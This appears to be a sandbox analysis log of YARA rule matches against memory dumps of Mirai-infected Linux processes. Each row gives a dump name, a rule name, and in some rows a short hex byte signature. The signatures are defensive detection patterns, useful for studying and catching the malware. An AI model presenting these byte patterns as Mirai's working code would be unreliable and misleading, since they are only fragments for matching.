6608.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6764.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6764.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6764.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6764.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6764.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6764.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6784.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6784.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6784.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6784.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6784.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6784.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7308.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7308.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7308.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7308.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7308.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7308.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6864.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6862.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7431.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6762.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6762.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6762.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6762.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6762.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6762.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6281.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6281.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6281.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6281.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6281.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6281.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6303.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6303.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6303.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6303.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6303.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6303.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6788.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6788.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6788.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6788.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6788.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6788.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7153.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7153.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7153.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7153.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7153.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7153.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7427.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7427.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7427.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7427.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7427.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7427.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6465.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6465.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6465.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6465.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6465.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6465.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6736.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6736.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6736.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6736.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6736.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6736.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6988.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6259.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7324.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7324.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7324.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7324.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7324.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7324.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6432.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6977.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6620.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6620.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6620.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6922.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6945.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7356.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7032.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7032.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7032.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7032.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7032.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7032.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6364.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6256.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6256.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6256.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6256.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6256.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6256.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6903.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6512.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6532.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6988.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6259.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6259.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6259.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6259.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6259.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7201.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7201.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7201.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7201.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7201.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7201.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6488.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6432.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6432.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7172.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7172.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7172.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6620.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6620.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6620.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6945.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6945.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6945.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6945.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6945.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7356.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7356.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7356.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7356.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7356.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7171.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6814.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6364.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6364.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6364.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6364.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6364.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6903.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6903.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6903.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6903.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6903.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6988.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6988.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6988.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6988.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6488.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6977.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6977.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6977.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6977.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6977.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6922.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6922.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6922.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6922.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6922.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7171.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7171.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7171.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7171.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7171.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7011.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6488.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7011.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6488.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6488.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6488.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7011.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6432.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
